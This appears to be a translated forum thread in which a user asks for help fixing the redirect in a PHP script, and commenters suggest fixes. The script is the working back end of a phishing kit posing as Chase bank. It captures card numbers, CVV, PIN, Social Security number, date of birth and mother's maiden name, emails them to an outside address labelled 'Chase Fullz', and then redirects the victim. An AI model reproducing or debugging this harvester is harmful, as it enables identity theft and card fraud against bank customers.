Я весь день испортил этот код для друга, и я не могу заставить его перенаправить после отправки любой информации. Интересно, сможет ли кто-нибудь помочь.Php redirect/Header
мне нужно перенаправить site.com/logoff.php
<?php
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$message .= "--------------+ User online +------------\n";
$message .= "Full Name : : ".$_POST['Name']."\n";
$message .= "Mailing Address : ".$_POST['address']."\n";
$message .= "Mailing Address 2 : ".$_POST['address2']."\n";
$message .= " City : ".$_POST['city']."\n";
$message .= " State : ".$_POST['state']."\n";
$message .= " Zip Code : ".$_POST['zip']."\n";
$message .= "--------------+ Card Info +------------\n";
$message .= " Confirm Card Number : ".$_POST['cardnumber']."\n";
$message .= " Expiration Date : ".$_POST['expmonth']."";
$message .= "".$_POST['expyear']."\n";
$message .= " Card Security Code : ".$_POST['cvv']."\n";
$message .= " Card Pin : ".$_POST['cardpin']."\n";
$message .= "--------------+ Security Information +------------\n";
$message .= " Social Security Number : ".$_POST['ssn1']."";
$message .= "-".$_POST['ssn2']."";
$message .= "-".$_POST['ssn3']."\n";
$message .= " Date of Birth : ".$_POST['bmonth']."";
$message .= "-".$_POST['bday']."";
$message .= "-".$_POST['byear']."\n";
$message .= " MMN : ".$_POST['mmn']."\n";
$message .= "--------------+ Connction info +------------\n";
$message .= "IP Address : ".$ip."\n";
$message .= "HostName : ".$hostname."\n";
$message .= "--------------------\n";
$rnessage = "$message\n";
$message .= "--------------+ Run the world +------------\n";
$send="[email protected]";
$subject = "Chase Fullz";
$headers = "From: ChaseFullz<[email protected]>";
$str=array($send, $IP); foreach ($str as $send)
if(mail($send,$subject,$rnessage,$headers) != false){
mail($Send,$subject,$rnessage,$headers);
mail($messege,$subject,$rnessage,$headers);
Header ("Location:logoff.php");
}
?>
Вы должны проверить ваш код немного более тщательно, вы получите 'неопределенными variable' предупреждения (проверьте правописание и регистр). И почему вы звоните по электронной почте 3 раза (последний раз с неправильными параметрами ...)? – jeroen
Какие сообщения об ошибках вы получаете? 'ini_set ('display_errors', 1);' – ArtisticPhoenix
Wow я удивляюсь, что не знаю никакого кода. Я удалил последние 2 параметра почты и перенаправил + по электронной почте. $ headers = "From: ChaseFullz <[email protected]>"; $ str = массив ($ send, $ IP); foreach ($ str as $ send) if (mail ($ send, $ subject, $ rnessage, $ headers)! = false) { header ('Location: users_table.php'); выход; } ?> –